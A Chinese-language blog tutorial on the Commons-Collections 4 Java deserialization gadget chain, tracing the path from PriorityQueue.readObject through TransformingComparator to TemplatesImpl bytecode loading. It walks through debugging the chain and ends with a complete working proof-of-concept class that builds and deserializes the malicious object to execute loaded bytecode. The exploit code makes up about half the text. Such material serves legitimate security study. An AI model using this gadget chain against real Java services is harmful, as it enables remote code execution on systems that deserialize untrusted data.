CC更新了一个大的版本,今天讲的是更新后的。
先来看看CC4大致的调用链流程图
其实后半段都和CC3差不多差不多,变的只是前面的入口,简单分析一下这条链子。
还是先看谁调用了ChainedTransformer的transform
在TransformingComparator的compare中调用了transform
继续往回找,非常多调用了conpare,还是需要对java比较了解的。这里不绕圈子了,实际上利用了PriorityQueue的readObject()
进入readObject中heapify(),存在siftDown()方法
进入siftDown()方法
再进入siftDownUsingComparator(),在此处调用了conpare,这就是入口到中间的链子
直接写我们的EXP
尝试执行,但无事发生.......在heapify()处设个断点调试
发现进入heapify后,此时size=0,计算一下size >>>1=0,也就是此时int i =-1。进不了for里面,也就执行不了我们的代码。
因为1>>>1也等于0,所以我们要增加队列为2.
尝试执行,但还是出现了错误......其实还是老问题,priorityQueue.add(2)的时候代码会在本地执行
而字节码加载的某个类只有在反序列化时才会自动加载进来,所以会报错,那这里就像URLDNS链一样解决就好了。
- Class transformingComparatorClass = transformingComparator.getClass();
- Field transformer = transformingComparatorClass.getDeclaredField("transformer");
- transformer.setAccessible(true);
- transformer.set(transformingComparator,chainedTransformer);
- package org.example;
-
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
- import org.apache.commons.collections4.Transformer;
- import org.apache.commons.collections4.comparators.TransformingComparator;
- import org.apache.commons.collections4.functors.ChainedTransformer;
- import org.apache.commons.collections4.functors.ConstantTransformer;
- import org.apache.commons.collections4.functors.InstantiateTransformer;
-
-
- import javax.xml.transform.Templates;
- import java.io.*;
- import java.lang.annotation.Target;
- import java.lang.reflect.*;
- import java.nio.file.Files;
- import java.nio.file.Paths;
- import java.util.Base64;
- import java.util.HashMap;
- import java.util.Map;
- import java.util.PriorityQueue;
-
- // 主程序
- public class poc {
- public static void main(String[] args) throws Exception{
- byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\zhang\\\\IdeaProjects\\\\ajava\\\\target\\\\classes\\\\org\\\\example\\url.class"));
- TemplatesImpl obj = new TemplatesImpl();
- setFieldValue(obj, "_bytecodes", new byte[][] {code});
- setFieldValue(obj, "_name", "calc");
- Transformer[] transformers = new Transformer[] {
- new ConstantTransformer<>(TrAXFilter.class),
- new InstantiateTransformer<>(
- new Class[] { Templates.class },
- new Object[] { obj })
- };
- ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
-
-
- TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
- PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
- priorityQueue.add(1);
- priorityQueue.add(2);
- Class transformingComparatorClass = transformingComparator.getClass();
- Field transformer = transformingComparatorClass.getDeclaredField("transformer");
- transformer.setAccessible(true);
- transformer.set(transformingComparator,chainedTransformer);
- serialize(priorityQueue);
- unserialize("ser.bin");
- }
-
-
- //序列化数据
- public static void serialize(Object obj) throws IOException {
- ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
- oos.writeObject(obj);
- }
-
- //反序列化数据
- public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
- ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
- Object obj = ois.readObject();
- return obj;
- }
- public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
- Field field = obj.getClass().getDeclaredField(fieldName);
- field.setAccessible(true);
- field.set(obj, value);
- }
- }
剩下的大都差不多,感觉没意思就没写了。